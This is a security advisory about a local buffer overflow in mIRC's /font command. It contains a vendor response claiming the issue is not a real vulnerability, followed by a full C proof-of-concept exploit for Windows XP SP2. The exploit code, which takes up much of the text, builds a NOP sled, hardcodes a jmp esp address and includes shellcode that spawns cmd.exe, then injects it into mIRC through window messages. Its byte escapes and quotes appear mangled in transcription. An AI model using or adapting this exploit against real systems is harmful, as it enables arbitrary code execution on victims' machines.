‘mIRC Font Buffer Overflow (Exploit)’

Summary

mIRC is a friendly IRC client that is well equipped with options and tools.’ Lack of proper length validation in mIRC that leads to a local buffer overflow allows attackers to execute arbitrary code.’

Credit:

‘The information has been provided by Crowdat Kurobudetsu.
The original article in Spanish can be found at: http://cyruxnet.org/archivo.php?20060121.00
The forum discussion can be found at: http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Number=146129&an=0&page=0#146129


Details

‘A local buffer overflow with the /font command in mIRC was found.
By using the command:

/font -z $readini(c:aa.ini,aaaaaaa ,aaaa) $readini(c:aa.ini,aaaaaaa ,aaaa)

The function will return null and crash. If the first parameter is null and the second parameter is a long string, it is possible to overwrite the EIP and execute arbitrary code without privileges elevation.

Vendor Status:
‘As far as I can tell, this is neither an exploit nor a vulnerability. The above report describes a local bug in mIRC. The author of the report indicates that any malicious software on your computer can modify your mIRC settings to cause mIRC to crash. But if you have malicious software on your computer, you’ve already compromised your security…’

Exploit:
/*
mircfontexploitXPSP2.c

This PoC it’s for XP SP2 English
Special thanks to Racy from irc-hispano
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main () {
HWND lHandle;
char command[512]= ‘/font -z $null’;
char strClass[30];
char buffer[128]=
‘x20x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90’
‘x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90’;

char shellcode[999]=
‘x55’
‘x8BxEC’
‘x33xFF’
‘x57’
‘x83xECx04’
‘xC6x45xF8x63’
‘xC6x45xF9x6D’
‘xC6x45xFAx64’
‘xC6x45xFBx2E’
‘xC6x45xFCx65’
‘xC6x45xFDx78’
‘xC6x45xFEx65’
‘x8Dx45xF8’
‘x50’
‘xBBxc7x93xc2x77’
‘xFFxD3’;

//Shellcode system(‘cmd.exe’), system in xc7x93xc2x77 0x77c293c7
(WinXP Sp2 English)

char saltaoffset[]=’xD6xD1xE5x77′; // jmp esp 0x77E5D1D6 (advapi32.dll)

SetForegroundWindow(lHandle);
lHandle = FindWindowEx(FindWindowEx(FindWindowEx(FindWindow(‘mIRC’,
NULL), 0, ‘MDIClient’, 0),0, ‘mIRC_Status’, 0), 0, ‘Edit’, 0);

if (!lHandle) { printf(‘Can’t find mIRCn’); return 0; }

strcat(buffer,saltaoffset);
strcat(buffer,shellcode);
strcat(command,buffer);
printf(‘mIRC Font Command Exploit: %sn’, command);

SendMessage(lHandle, WM_SETTEXT,0,(LPARAM)command);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
}

/* Eof */’

Categories: Windows